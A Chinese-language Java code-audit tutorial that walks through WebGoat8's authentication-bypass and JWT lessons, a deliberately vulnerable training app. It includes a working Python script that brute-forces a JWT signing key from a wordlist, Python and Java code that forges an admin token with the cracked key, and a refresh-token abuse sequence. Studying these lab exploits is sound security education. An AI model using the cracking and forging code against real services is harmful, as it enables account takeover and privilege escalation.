Java代码审计入门:WebGoat8(再会)

 


本篇我们将一起看看WebGoat8中的Authentication Bypasses和JWT相关安全问题。

Authentication Bypasses 认证绕过
这节课程首先给了我们一个2016年的PayPal双因子密码重置的漏洞:攻击者通过去掉安全问题验证报文中的两个安全问题,结果通过了验证,从而达到了身份认证绕过。

看完真实案例后,我们的随堂作业是要绕过一个相似的密码重置功能。这个时候,很容易就会尝试运用刚刚学会的姿势,截包将两个安全问题删除,发包。然后就收到:Not quite, please try again.😂😂😂很真实,应验了那句话:老师教的和案例展示的都不会考。

从刚刚截包中获取路径“/auth-bypass/verify-account”,全局去搜索,追踪到相关代码:
VerifyAccount.java

package org.owasp.webgoat.plugin;

import com.google.common.collect.Lists;
import org.jcodings.util.Hash;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.UserSessionData;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;

import java.util.Map;

/**
 * Created by jason on 1/5/17.
 */

@AssignmentPath("/auth-bypass/verify-account")
@AssignmentHints({"auth-bypass.hints.verify.1", "auth-bypass.hints.verify.2", "auth-bypass.hints.verify.3", "auth-bypass.hints.verify.4"})
public class VerifyAccount extends AssignmentEndpoint {

    @Autowired
    private WebSession webSession;

    @Autowired
    UserSessionData userSessionData;

    @PostMapping(produces = {"application/json"})
    @ResponseBody
    public AttackResult completed(@RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req) throws ServletException, IOException {


        AccountVerificationHelper verificationHelper = new AccountVerificationHelper();
        Map<String,String> submittedAnswers = parseSecQuestions(req);
        //进行作弊检测
        if (verificationHelper.didUserLikelylCheat((HashMap)submittedAnswers)) {
            return trackProgress(failed()
            .feedback("verify-account.cheated")
            .output("Yes, you guessed correcctly,but see the feedback message")
            .build());
        }

        // else
        //进行账号验证
        if (verificationHelper.verifyAccount(new Integer(userId),(HashMap)submittedAnswers)) {
            userSessionData.setValue("account-verified-id", userId);
            return trackProgress(success()
            .feedback("verify-account.success")
            .build());
        } else {
            return trackProgress(failed()
            .feedback("verify-account.failed")
            .build());
        }

    }
//安全问题解析,将包含“secQuestion”的参数名及对应参数存放在userAnswers(类型为Map)中。
    private HashMap<String,String> parseSecQuestions (HttpServletRequest req) {

        Map <String,String> userAnswers = new HashMap<>();
        List<String> paramNames = Collections.list(req.getParameterNames());
        for  (String paramName : paramNames) {
            //String paramName = req.getParameterNames().nextElement();
            if (paramName.contains("secQuestion")) {
                userAnswers.put(paramName,req.getParameter(paramName));
            }
        }
        return (HashMap)userAnswers;

    }

}

其中主要用到:
AccountVerificationHelper.java


package org.owasp.webgoat.plugin;

import org.jcodings.util.Hash;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.beans.factory.annotation.Autowired;

import java.util.HashMap;
import java.util.Map;

/**
 * Created by appsec on 7/18/17.
 */
public class AccountVerificationHelper {



    //simulating database storage of verification credentials
    private  static final Integer verifyUserId = new Integer(1223445);
    private static final Map<String,String> userSecQuestions = new HashMap<>();
    static {
        userSecQuestions.put("secQuestion0","Dr. Watson");
        userSecQuestions.put("secQuestion1","Baker Street");
    }

    private static final Map<Integer,Map> secQuestionStore = new HashMap<>();
    static {
        secQuestionStore.put(verifyUserId,userSecQuestions);
    }
    // end 'data store set up'

    // this is to aid feedback in the attack process and is not intended to be part of the 'vulnerable' code
    public boolean didUserLikelylCheat(HashMap<String,String> submittedAnswers) {
        boolean likely = false;

        if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) {
            likely = true;
        }

        if ((submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) &&
                (submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) ) {
            likely = true;
        } else {
            likely = false;
        }

        return likely;

    }
    //end of cheating check ... the method below is the one of real interest. Can you find the flaw?

    public boolean verifyAccount(Integer userId, HashMap<String,String> submittedQuestions ) {
        //short circuit if no questions are submitted
        if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
            return false;
        }

        if (submittedQuestions.containsKey("secQuestion0") && !submittedQuestions.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) {
            return false;
        }

        if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
            return false;
        }

        // else
        return true;

    }
}

verifyAccount流程如下:
|
//安全问题解析,将包含“secQuestion”的参数名及对应参数存放在userAnswers(类型为Map)中。
parseSecQuestions
如果paramName.contains("secQuestion")参数名包含"secQuestion",则将参数名作为userAnswers的key,参数值作为value存入。
|
//作弊检测,检测请求的验证是否有作弊,有则不通过检验
verificationHelper.didUserLikelylCheat((HashMap)submittedAnswers)
1.请求中的secQuestion数目等于系统内虚拟的secQuestion数目(2条),则为作弊。
2.请求中含有secQuestion0和secQuestion1参数及其值各自等于系统中的对应问题答案。(即回答出正确答案),是作弊。
|
verificationHelper.verifyAccount(new Integer(userId),(HashMap)submittedAnswers)
1.如果请求报文的安全问题条数不等于系统虚拟的安全问题条数,则返回失败。
2.如果请求报文的安全问题有secQuestion0且答案错误,则返回失败。
3.如果请求报文的安全问题有secQuestion1且答案错误,则返回失败。
4.前面的条件都通过,返回成功。

分析:
从流程可以知道,我们想要绕过认证,需要在请求中发送安全问题(含“secQuestion”字符串即为安全问题)条数等于系统虚拟的安全问题条数(2条),回答出secQuestion0和secQuestion1算作弊,回答不出算失败。那么我们构造含
“secQuestion”字符串但并不是secQuestion0和secQuestion1的参数2个,就可以绕过这些检测了。

总结:
黑盒测试时,可尝试删除安全问题等方式绕过认证。


JWT

JSON Web Token (JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。
一条JWT是被base64编码过的,包含了三段,头部,声明(也称payload),签名。中间以“.”间隔。

我们可以将一条JWT拿到https://jwt.io/#debugger去解码一下。JWT:

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Njk4MDk1MDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiSmVycnkifQ.lHBU1BzLM9_GB6qfcSljmCreLyNytlv5aGIx2QKZBHva1Y1XB9LST7lE3UcbGTToUKoMNIxkqcCdaX-J7yDyHQ

HEADER中是使用的算法HS512(HMACSHA512512),PAYLOAD中承载了自定义信息,SIGNATURE是将header,payload,以及密钥使用HMACSHA512算法计算得出签名。
所以payload中不应该存放诸如密码等敏感信息,传递JWT应使用安全的通信协议,以防被窃取。

下图展示身份认证及JWT颁发过程:

随堂作业:篡改JWT,成为admin用户,重置投票。

到了看代码的时候了,追踪“/JWT/votings”:

package org.owasp.webgoat.plugin;

import com.google.common.collect.Maps;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.impl.TextCodec;
import org.apache.commons.lang3.StringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.plugin.votes.Views;
import org.owasp.webgoat.plugin.votes.Vote;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.http.converter.json.MappingJacksonValue;
import org.springframework.web.bind.annotation.*;

import javax.annotation.PostConstruct;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import java.time.Duration;
import java.time.Instant;
import java.util.Date;
import java.util.Map;

import static java.util.Comparator.comparingLong;
import static java.util.Optional.ofNullable;
import static java.util.stream.Collectors.toList;

/**
 * @author nbaars
 * @since 4/23/17.
 */
@AssignmentPath("/JWT/votings")
@AssignmentHints({"jwt-change-token-hint1", "jwt-change-token-hint2", "jwt-change-token-hint3", "jwt-change-token-hint4", "jwt-change-token-hint5"})
public class JWTVotesEndpoint extends AssignmentEndpoint {

    public static final String JWT_PASSWORD = TextCodec.BASE64.encode("victory");
    private static String validUsers = "TomJerrySylvester";

    private static int totalVotes = 38929;
    private Map<String, Vote> votes = Maps.newHashMap();

    @PostConstruct
    public void initVotes() {
        votes.put("Admin lost password", new Vote("Admin lost password",
                "In this challenge you will need to help the admin and find the password in order to login",
                "challenge1-small.png", "challenge1.png", 36000, totalVotes));
        votes.put("Vote for your favourite",
                new Vote("Vote for your favourite",
                        "In this challenge ...",
                        "challenge5-small.png", "challenge5.png", 30000, totalVotes));
        votes.put("Get it for free",
                new Vote("Get it for free",
                        "The objective for this challenge is to buy a Samsung phone for free.",
                        "challenge2-small.png", "challenge2.png", 20000, totalVotes));
        votes.put("Photo comments",
                new Vote("Photo comments",
                        "n this challenge you can comment on the photo you will need to find the flag somewhere.",
                        "challenge3-small.png", "challenge3.png", 10000, totalVotes));
    }

    @GetMapping("/login")
    public void login(@RequestParam("user") String user, HttpServletResponse response) {
        if (validUsers.contains(user)) {
            Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10))));
            claims.put("admin", "false");
            claims.put("user", user);
            String token = Jwts.builder()
                    .setClaims(claims)
                    .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)
                    .compact();
            Cookie cookie = new Cookie("access_token", token);
            response.addCookie(cookie);
            response.setStatus(HttpStatus.OK.value());
            response.setContentType(MediaType.APPLICATION_JSON_VALUE);
        } else {
            Cookie cookie = new Cookie("access_token", "");
            response.addCookie(cookie);
            response.setStatus(HttpStatus.UNAUTHORIZED.value());
            response.setContentType(MediaType.APPLICATION_JSON_VALUE);
        }
    }

    @GetMapping
    @ResponseBody
    public MappingJacksonValue getVotes(@CookieValue(value = "access_token", required = false) String accessToken) {
        MappingJacksonValue value = new MappingJacksonValue(votes.values().stream().sorted(comparingLong(Vote::getAverage).reversed()).collect(toList()));
        if (StringUtils.isEmpty(accessToken)) {
            value.setSerializationView(Views.GuestView.class);
        } else {
            try {
                Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
                Claims claims = (Claims) jwt.getBody();
                String user = (String) claims.get("user");
                if ("Guest".equals(user) || !validUsers.contains(user)) {
                    value.setSerializationView(Views.GuestView.class);
                } else {
                    value.setSerializationView(Views.UserView.class);
                }
            } catch (JwtException e) {
                value.setSerializationView(Views.GuestView.class);
            }
        }
        return value;
    }

    @PostMapping(value = "{title}")
    @ResponseBody
    @ResponseStatus(HttpStatus.ACCEPTED)
    public ResponseEntity<?> vote(@PathVariable String title, @CookieValue(value = "access_token", required = false) String accessToken) {
        if (StringUtils.isEmpty(accessToken)) {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
        } else {
            try {
                Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
                Claims claims = (Claims) jwt.getBody();
                String user = (String) claims.get("user");
                if (!validUsers.contains(user)) {
                    return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
                } else {
                    ofNullable(votes.get(title)).ifPresent(v -> v.incrementNumberOfVotes(totalVotes));
                    return ResponseEntity.accepted().build();
                }
            } catch (JwtException e) {
                return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
            }
        }
    }

    @PostMapping("reset")
    public @ResponseBody
    AttackResult resetVotes(@CookieValue(value = "access_token", required = false) String accessToken) {
        if (StringUtils.isEmpty(accessToken)) {
            return trackProgress(failed().feedback("jwt-invalid-token").build());
        } else {
            try {
                Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
                Claims claims = (Claims) jwt.getBody();
                boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
                if (!isAdmin) {
                    return trackProgress(failed().feedback("jwt-only-admin").build());
                } else {
                    votes.values().forEach(vote -> vote.reset());
                    return trackProgress(success().build());
                }
            } catch (JwtException e) {
                return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
            }
        }
    }
}

关注以下代码块,我们可以看到生成及颁发JWT的过程。

@GetMapping("/login")
    public void login(@RequestParam("user") String user, HttpServletResponse response) {
        if (validUsers.contains(user)) {
            Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10))));
            claims.put("admin", "false");
            claims.put("user", user);
            String token = Jwts.builder()
                    .setClaims(claims)
                    .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)
                    .compact();
            Cookie cookie = new Cookie("access_token", token);
            response.addCookie(cookie);
            response.setStatus(HttpStatus.OK.value());
            response.setContentType(MediaType.APPLICATION_JSON_VALUE);
        } else {
            Cookie cookie = new Cookie("access_token", "");
            response.addCookie(cookie);
            response.setStatus(HttpStatus.UNAUTHORIZED.value());
            response.setContentType(MediaType.APPLICATION_JSON_VALUE);
        }
    }

然后看到随堂作业中要重置投票的相关代码块。我们可以看到这一句:Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);使用签名密钥去解析了请求过来的JWT,获取claims中的admin参数的值,通过这个值来确认是否admin权限。
思路:获取密钥,使用https://jwt.io/#debugger或Java或python篡改JWT中admin参数为true。
问题也随之而来,如何获取密钥?当然我们可以通过代码直接找到JWT_PASSWORD的值,但是这样的话,这道随堂作业就没什么味道了,所以我们再自己加一道题中题:JWT弱密钥爆破。

@PostMapping("reset")
    public @ResponseBody
    AttackResult resetVotes(@CookieValue(value = "access_token", required = false) String accessToken) {
        if (StringUtils.isEmpty(accessToken)) {
            return trackProgress(failed().feedback("jwt-invalid-token").build());
        } else {
            try {
                Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
                Claims claims = (Claims) jwt.getBody();
                boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
                if (!isAdmin) {
                    return trackProgress(failed().feedback("jwt-only-admin").build());
                } else {
                    votes.values().forEach(vote -> vote.reset());
                    return trackProgress(success().build());
                }
            } catch (JwtException e) {
                return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
            }
        }
    }

题中题:JWT弱密钥爆破

这一题的解题思路引用@yangyangwithgnu发表的文章 全程带阻:记一次授权网络攻防演练(上)中,利用PyJWT编写脚本爆破JWT弱密码。脚本逻辑

1.若签名直接校验成功(原文为失败,猜测为作者手误),则 key_ 为有效密钥;

2.若因数据部分预定义字段错误(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError)导致校验失败,说明并非密钥错误导致,则 key_ 也为有效密钥;

3.若因密钥错误(jwt.exceptions.InvalidSignatureError)导致校验失败,则 key_ 为无效密钥;

4.若为其他原因(如,JWT 字符串格式错误)导致校验失败,根本无法验证当前 key_ 是否有效。

利用脚本可爆出JWT弱密钥为:victory

脚本如下:
JWT_crack.py
//import jwt 需要安装依赖包PyJWT

import jwt
import termcolor

if __name__ == "__main__":
    jwt_str = R'eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Njk3MjI2NDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.Y2WgbXt9wjv4p4BdM_tA9f05sG-_n1ugojijOZMXx2_Gld_Ip4dOazj9K3iWVC68W_7_HEyu2_c0qSjtqDC0Vg'

    with open('/YOUR-PATH/Top1000.txt') as f:
        for line in f:
            key_ = line.strip()
            try:
                jwt.decode(jwt_str, verify=True, key=key_)
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except jwt.exceptions.InvalidSignatureError:
                print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                continue
        else:
            print('\r', '\bsorry! no key be found.')

使用爆破出来的密钥:victory和https://jwt.io/#debugger篡改JWT中admin参数为true获得篡改后的JWT。

也可以使用python3 的PyJWT去获得JWT

import jwt
# payload
token_dict = {
    "iat": 1570415291,
    "admin": "true",
    "user": "Tom"

}
key = "victory"

# headers
headers = {
    "typ": "JWT",
    "alg": "HS512"
}


# 调用jwt库,生成json web token
jwt_token = jwt.encode(token_dict,  # payload, 有效载体
                       key,
                       algorithm="HS512",# 指明签名算法方式, 默认是HS256,需要与headers中"alg"保持一致。
                       headers=headers # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
                       ) 
print("jwt_token")
print(jwt_token)

得到:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1NzA0MTUyOTEsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.2uqgOomtrYjU9h2gYFkzTxh_coX0dcuiONhiEZNAVY_VCu7k8imLxOBer0Ws5qnC0X3e56eEVKVIqVGz8OZvZQ

也可以使用Java:

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.impl.TextCodec;

public class baseencodeJWTcryptotest {
    public static String JWT_PASSWORD = TextCodec.BASE64.encode("victory");


    public static void createJWTToken() {
        Claims claims = Jwts.claims();
        claims.put("iat", 1570415291);
        claims.put("admin", "True");
        claims.put("user", "Tom");
        String token = Jwts.builder().setClaims(claims).setHeaderParam("typ", "JWT")
                .setHeaderParam("alg","HS512")
                .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).compact();
        System.out.println(token);
    }

    public static void main(String[] args) {
        baseencodeJWTcryptotest.createJWTToken();
    }

}


得到:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1NzA0MTUyOTEsImFkbWluIjoiVHJ1ZSIsInVzZXIiOiJUb20ifQ.cQTTGQK75NUnzi8tN1xHeQNXjVmqlH3U_9ynyccCZjUogTM7A5GV7V570LXIuvPgbSPfEAjpOqxL8woWXHrCIg

使用篡改的JWT,发送reset报文。
"congratulations",成功了。
jwt.io:

python:

Java:

总结:

  • 开发人员不应在JWT中暴露敏感信息,可使用工具将截获的JWT解析查看是否包含敏感信息。
  • JWT弱口令爆破可以离线进行。
  • JWT的安全性非常依赖密钥的长度及复杂度,建议密钥设置为32位及以上长度的随机字符。

Refreshing a token

就如同session会有存活时长一样,JWT的access_token也是有相类似的机制。session失活后,系统会要求用户再次身份验证,通过则重新颁发session;JWT则可使用refresh token去刷新access token而无需再次身份验证。
登陆获取 access token, refresh token

WebGoat中提到:

应在服务器端存储足够的信息,以验证用户是否仍然受信任。您可以考虑的事情有很多,比如存储IP地址,跟踪使用refresh token的次数(在access token的有效时间窗口中多次使用刷新令牌可能表示奇怪的行为,您可以撤销所有token,让用户再次进行身份验证)。还要跟踪哪个access token属于哪个refresh token,否则攻击者可能会使用攻击者的refresh token为其他用户获取新的access token,请参阅https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation,还可以检查用户的IP地址或地理位置。如果需要发出一个新的令牌,请检查位置是否仍然相同,如果不同,则撤销所有令牌,并让用户再次进行身份验证。

这段话中关键信息是,服务器中可能存在:未校验access token和refresh token是否属于同一个用户,导致A用户可使用自己的refresh token去刷新B用户的access token。
WebGoat对于使用JWT的建议:
使用jwt令牌的最佳位置是服务器之间的通信。在普通的web应用程序中,最好使用普通的旧cookies。
随堂作业:
Refreshing a token

题目:查看日志文件,找到让Tom为这些书买单的方法。
日志文件:

194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/checkout?token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q HTTP/1.1" 401 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 200 12783 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/login HTTP/1.1" 200 212 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
195.206.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" "-"

可以看到有一条token,和一些与refresh相关的url信息。拿token去https://jwt.io/#debugger,可以看到:
是属于Tom,exp的时间是2018年(已过期)。

使用logfile中的token直接checkout,返回已过期提示。(Authorization头根据源码构造,Bearer 可加可不加。 )

代码:
JWTRefreshEndpoint.java

package org.owasp.webgoat.plugin;

import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import io.jsonwebtoken.*;
import org.apache.commons.lang3.RandomStringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.ResponseBody;

import java.util.Date;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit;

/**
 * @author nbaars
 * @since 4/23/17.
 */
@AssignmentPath("/JWT/refresh/")
@AssignmentHints({"jwt-refresh-hint1", "jwt-refresh-hint2", "jwt-refresh-hint3", "jwt-refresh-hint4"})
public class JWTRefreshEndpoint extends AssignmentEndpoint {

    public static final String PASSWORD = "bm5nhSkxCXZkKRy4";
    private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4";
    private static final List<String> validRefreshTokens = Lists.newArrayList();
    //登陆模块
    @PostMapping(value = "login", consumes = MediaType.APPLICATION_JSON_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
    public @ResponseBody
    ResponseEntity follow(@RequestBody Map<String, Object> json) {
        String user = (String) json.get("user");
        String password = (String) json.get("password");
        //验证用户名Jerry和秘密
        if ("Jerry".equals(user) && PASSWORD.equals(password)) {
            //通过则颁发token
            return ResponseEntity.ok(createNewTokens(user));
        }
        return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
    }
    //创建token模块
    private Map<String, Object> createNewTokens(String user) {
        Map<String, Object> claims = Maps.newHashMap();
        claims.put("admin", "false");
        claims.put("user", user);
        String token = Jwts.builder()
                .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
                .setClaims(claims)
                .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)
                .compact();
        Map<String, Object> tokenJson = Maps.newHashMap();
        String refreshToken = RandomStringUtils.randomAlphabetic(20);
        validRefreshTokens.add(refreshToken);
        tokenJson.put("access_token", token);
        tokenJson.put("refresh_token", refreshToken);
        return tokenJson;
    }
    //checkout模块
    @PostMapping("checkout")
    public @ResponseBody
    AttackResult checkout(@RequestHeader("Authorization") String token) {
        try {
            Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", ""));
            Claims claims = (Claims) jwt.getBody();
            String user = (String) claims.get("user");
            if ("Tom".equals(user)) {
                return trackProgress(success().build());
            }
            return trackProgress(failed().feedback("jwt-refresh-not-tom").feedbackArgs(user).build());
        } catch (ExpiredJwtException e) {
            return trackProgress(failed().output(e.getMessage()).build());
        } catch (JwtException e) {
            return trackProgress(failed().feedback("jwt-invalid-token").build());
        }
    }
    //刷新 token
    @PostMapping("newToken")
    public @ResponseBody
    ResponseEntity newToken(@RequestHeader("Authorization") String token, @RequestBody Map<String, Object> json) {
        String user;
        String refreshToken;
        try {
            Jwt<Header, Claims> jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", ""));
            user = (String) jwt.getBody().get("user");
            refreshToken = (String) json.get("refresh_token");
        } catch (ExpiredJwtException e) {
            user = (String) e.getClaims().get("user");
            refreshToken = (String) json.get("refresh_token");
        }
        //仅校验是否存在user和refreshToken,未校验两者对应关系,存在漏洞
        if (user == null || refreshToken == null) {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
        } else if (validRefreshTokens.contains(refreshToken)) {
            validRefreshTokens.remove(refreshToken);
            return ResponseEntity.ok(createNewTokens(user));
        } else {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
        }
    }

}

存在问题的代码块:
仅校验是否存在user和refreshToken,未校验两者对应关系,导致漏洞产生。

//刷新 token
    @PostMapping("newToken")
    public @ResponseBody
    ResponseEntity newToken(@RequestHeader("Authorization") String token, @RequestBody Map<String, Object> json) {
        String user;
        String refreshToken;
        try {
            Jwt<Header, Claims> jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", ""));
            user = (String) jwt.getBody().get("user");
            refreshToken = (String) json.get("refresh_token");
        } catch (ExpiredJwtException e) {
            user = (String) e.getClaims().get("user");
            refreshToken = (String) json.get("refresh_token");
        }
        //仅校验是否存在user和refreshToken,未校验两者对应关系,存在漏洞
        if (user == null || refreshToken == null) {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
        } else if (validRefreshTokens.contains(refreshToken)) {
            validRefreshTokens.remove(refreshToken);
            //返回JWT user的新token
            return ResponseEntity.ok(createNewTokens(user));
        } else {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
        }
    }

思路:

  • 从logfile中获取到Tom到过期JWT
  • 利用账号密码:Jerry/bm5nhSkxCXZkKRy4 拿到Jerry账号的refresh token
  • 利用Jerry的refresh token 和Tom的过期access token去刷新一下
  • 拿到刷新后的token 结账

从logfile中获取到Tom到过期JWT

利用账号密码:Jerry/bm5nhSkxCXZkKRy4 拿到refresh token
账号密码从源码中可得

利用Jerry的refresh token和Tom的过期access token 去刷新。

拿到刷新后的access_token 结账

总结:

  • 当使用refresh_token机制时,服务器端存储足够的信息,以验证用户是否仍然受信任。(存储IP地址,跟踪使用refresh token的次数及是否在access_token过期后使用等等的信息)
  • 当存在JWT泄漏和越权刷新JWT漏洞时,将会是个灾难。

Final challenges

接下来,我们看到Tom and Jerry,我们是Jerry的账号,想把Tom的账号删掉。

点击Tom下方的Delete,截取报文:

POST /WebGoat/JWT/final/delete?token=eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Cookie: JSESSIONID=IdCcPJUZYU_2PTrz3wiXbJkNfyoJktHX2tbNhiab; JSESSIONID.3f016d14=node01p93mn1law5to1bzrhlqsjmjcz4.node0; screenResolution=1680x1050
Content-Length: 0

将token丢到https://jwt.io/#debugger解析一下:

原始JWT parser后:

header
{
  "typ": "JWT",
 ** "kid": "webgoat_key",**
  "alg": "HS256"
}

payload
{
  "iss": "WebGoat Token Builder",
  "iat": 1524210904,
  "exp": 1618905304,
  "aud": "webgoat.org",
  "sub": "jerry@webgoat.com",
**  "username": "Jerry",**
  "Email": "jerry@webgoat.com",
  "Role": [
    "Cat"
  ]
}

查看代码:

@AssignmentPath("/JWT/final")
